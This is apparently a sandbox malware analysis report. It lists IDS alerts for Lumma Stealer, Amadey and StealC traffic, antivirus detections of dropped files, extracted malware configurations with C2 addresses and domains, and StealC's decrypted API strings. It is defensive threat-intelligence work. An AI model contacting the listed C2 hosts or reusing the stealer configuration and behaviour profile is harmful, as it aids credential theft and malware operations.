2024-11-01T05:53:26.160666+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:27.815755+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50003	188.114.96.3	443	TCP
2024-11-01T05:53:27.830592+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:53:41.967105+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-01T05:53:59.592007+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50077	188.114.96.3	443	TCP
2024-11-01T05:54:00.742386+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50083	188.114.96.3	443	TCP
2024-11-01T05:54:11.126234+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50095	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:07.015797+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:53:14.555838+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:26.160666+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:59.592007+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50077	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:08.368376+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:53:15.963529+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-01T05:53:27.830592+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:54:00.742386+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50083	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:06.435018+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:52:07.669974+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:52:09.395983+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:52:10.848830+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:52:12.179940+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:52:13.921512+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:52:15.940258+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:52:18.333447+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:53:14.007464+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:15.466266+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-01T05:53:17.228610+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-01T05:53:18.639861+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-01T05:53:20.111039+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-01T05:53:21.852965+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49998	188.114.96.3	443	TCP
2024-11-01T05:53:24.376665+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50000	188.114.96.3	443	TCP
2024-11-01T05:53:25.334167+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:26.915699+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50003	188.114.96.3	443	TCP
2024-11-01T05:53:26.964689+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:53:28.982801+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50013	188.114.96.3	443	TCP
2024-11-01T05:53:30.586197+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50015	188.114.96.3	443	TCP
2024-11-01T05:53:33.528497+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50020	188.114.96.3	443	TCP
2024-11-01T05:53:37.427102+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-01T05:53:40.055102+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50041	188.114.96.3	443	TCP
2024-11-01T05:53:41.643303+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-01T05:53:58.526532+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50077	188.114.96.3	443	TCP
2024-11-01T05:54:00.266651+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50083	188.114.96.3	443	TCP
2024-11-01T05:54:01.491444+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50084	188.114.96.3	443	TCP
2024-11-01T05:54:02.640530+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50086	188.114.96.3	443	TCP
2024-11-01T05:54:04.096639+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50088	188.114.96.3	443	TCP
2024-11-01T05:54:05.753951+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50090	188.114.96.3	443	TCP
2024-11-01T05:54:08.774003+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50093	188.114.96.3	443	TCP
2024-11-01T05:54:10.434698+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50095	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:19.709983+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49712	185.215.113.16	80	TCP
2024-11-01T05:53:25.324829+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50001	185.215.113.16	80	TCP
2024-11-01T05:53:29.011620+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50010	185.215.113.16	80	TCP
2024-11-01T05:53:42.896656+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50044	185.215.113.16	80	TCP
2024-11-01T05:54:12.063654+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50096	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:53:13.406627+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49980	185.215.113.43	80	TCP
2024-11-01T05:53:19.211274+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49994	185.215.113.43	80	TCP
2024-11-01T05:53:24.367048+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49999	185.215.113.43	80	TCP
2024-11-01T05:53:29.580955+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50014	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.768959+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	60398	1.1.1.1	53	UDP
2024-11-01T05:53:13.344138+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	61576	1.1.1.1	53	UDP
2024-11-01T05:53:24.663218+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	58816	1.1.1.1	53	UDP
2024-11-01T05:53:57.842429+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	51591	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.778638+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	63035	1.1.1.1	53	UDP
2024-11-01T05:53:13.355234+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	60536	1.1.1.1	53	UDP
2024-11-01T05:53:24.682188+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	58786	1.1.1.1	53	UDP
2024-11-01T05:53:57.860227+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	64706	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.803123+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	55259	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.755144+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	60526	1.1.1.1	53	UDP
2024-11-01T05:53:13.333170+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	60812	1.1.1.1	53	UDP
2024-11-01T05:53:24.642504+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	53272	1.1.1.1	53	UDP
2024-11-01T05:53:57.721462+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	56553	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.788606+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	60189	1.1.1.1	53	UDP
2024-11-01T05:53:13.366045+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	62846	1.1.1.1	53	UDP
2024-11-01T05:53:24.694953+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	49900	1.1.1.1	53	UDP
2024-11-01T05:53:57.882275+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	51497	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:10.120742+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:53:22.362081+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49998	188.114.96.3	443	TCP
2024-11-01T05:54:06.366136+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50090	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:53:20.510688+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49996	185.215.113.206	80	TCP
2024-11-01T05:53:28.433448+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50007	185.215.113.206	80	TCP
2024-11-01T05:53:37.148322+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50029	185.215.113.206	80	TCP
2024-11-01T05:53:48.973758+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50047	185.215.113.206	80	TCP
2024-11-01T05:54:09.234706+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50092	185.215.113.206	80	TCP
2024-11-01T05:54:25.454233+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50131	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:53:04.554085+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49932	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:53:12.477932+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49943	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:53:07.928977+0100	2803305	3	Unknown Traffic	192.168.2.5	49950	185.215.113.16	80	TCP
2024-11-01T05:53:14.318692+0100	2803305	3	Unknown Traffic	192.168.2.5	49987	185.215.113.16	80	TCP
2024-11-01T05:53:20.140343+0100	2803305	3	Unknown Traffic	192.168.2.5	49995	185.215.113.16	80	TCP
2024-11-01T05:53:25.324829+0100	2803305	3	Unknown Traffic	192.168.2.5	50001	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:53:40.760200+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50041	188.114.96.3	443	TCP
2024-11-01T05:54:08.779118+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50093	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000004.00000003.2288392617.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.0.num.exe.860000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.3440.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "navygenerayk.store", "necklacedmny.store", "scriptyprefej.store", "fadehairucw.store", "crisiwarny.store", "presticitpo.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 52%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 26.0.num.exe.860000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 30
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 11
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 20
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 24
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetProcAddress
Source: 26.0.num.exe.860000.0.unpack	String decryptor: LoadLibraryA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: lstrcatA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: OpenEventA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CreateEventA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CloseHandle
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Sleep
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 26.0.num.exe.860000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 26.0.num.exe.860000.0.unpack	String decryptor: VirtualFree
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetSystemInfo
Source: 26.0.num.exe.860000.0.unpack	String decryptor: VirtualAlloc
Source: 26.0.num.exe.860000.0.unpack	String decryptor: HeapAlloc
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetComputerNameA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: lstrcpyA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetProcessHeap
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetCurrentProcess
Source: 26.0.num.exe.860000.0.unpack	String decryptor: lstrlenA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ExitProcess
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetSystemTime
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 26.0.num.exe.860000.0.unpack	String decryptor: advapi32.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: gdi32.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: user32.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: crypt32.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ntdll.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetUserNameA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CreateDCA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetDeviceCaps
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ReleaseDC
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sscanf
Source: 26.0.num.exe.860000.0.unpack	String decryptor: VMwareVMware
Source: 26.0.num.exe.860000.0.unpack	String decryptor: HAL9TH
Source: 26.0.num.exe.860000.0.unpack	String decryptor: JohnDoe
Source: 26.0.num.exe.860000.0.unpack	String decryptor: DISPLAY
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 26.0.num.exe.860000.0.unpack	String decryptor: http://185.215.113.206
Source: 26.0.num.exe.860000.0.unpack	String decryptor: bksvnsj
Source: 26.0.num.exe.860000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 26.0.num.exe.860000.0.unpack	String decryptor: /746f34465cf17784/
Source: 26.0.num.exe.860000.0.unpack	String decryptor: tale
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetFileAttributesA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GlobalLock
Source: 26.0.num.exe.860000.0.unpack	String decryptor: HeapFree
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetFileSize
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GlobalSize
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 26.0.num.exe.860000.0.unpack	String decryptor: IsWow64Process
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Process32Next
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetLocalTime
Source: 26.0.num.exe.860000.0.unpack	String decryptor: FreeLibrary
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetVolumeInformationA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Process32First
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetLocaleInfoA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetModuleFileNameA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: DeleteFileA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: FindNextFileA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: LocalFree
Source: 26.0.num.exe.860000.0.unpack	String decryptor: FindClose
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: LocalAlloc
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetFileSizeEx
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ReadFile
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SetFilePointer
Source: 26.0.num.exe.860000.0.unpack	String decryptor: WriteFile
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CreateFileA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: FindFirstFileA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CopyFileA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: VirtualProtect
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetLastError
Source: 26.0.num.exe.860000.0.unpack	String decryptor: lstrcpynA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: MultiByteToWideChar
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GlobalFree
Source: 26.0.num.exe.860000.0.unpack	String decryptor: WideCharToMultiByte
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GlobalAlloc
Source: 26.0.num.exe.860000.0.unpack	String decryptor: OpenProcess
Source: 26.0.num.exe.860000.0.unpack	String decryptor: TerminateProcess
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetCurrentProcessId
Source: 26.0.num.exe.860000.0.unpack	String decryptor: gdiplus.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ole32.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: bcrypt.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: wininet.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: shlwapi.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: shell32.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: psapi.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: rstrtmgr.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SelectObject
Source: 26.0.num.exe.860000.0.unpack	String decryptor: BitBlt
Source: 26.0.num.exe.860000.0.unpack	String decryptor: DeleteObject
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CreateCompatibleDC
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdiplusStartup
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdiplusShutdown
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdipDisposeImage
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GdipFree
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CoUninitialize
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CoInitialize
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CoCreateInstance
Source: 26.0.num.exe.860000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 26.0.num.exe.860000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 26.0.num.exe.860000.0.unpack	String decryptor: BCryptDecrypt
Source: 26.0.num.exe.860000.0.unpack	String decryptor: BCryptSetProperty
Source: 26.0.num.exe.860000.0.unpack	String decryptor: BCryptDestroyKey
Source: 26.0.num.exe.860000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetWindowRect
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetDesktopWindow
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetDC
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CloseWindow
Source: 26.0.num.exe.860000.0.unpack	String decryptor: wsprintfA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CharToOemW
Source: 26.0.num.exe.860000.0.unpack	String decryptor: wsprintfW
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RegQueryValueExA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RegEnumKeyExA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RegOpenKeyExA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RegCloseKey
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RegEnumValueA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CryptUnprotectData
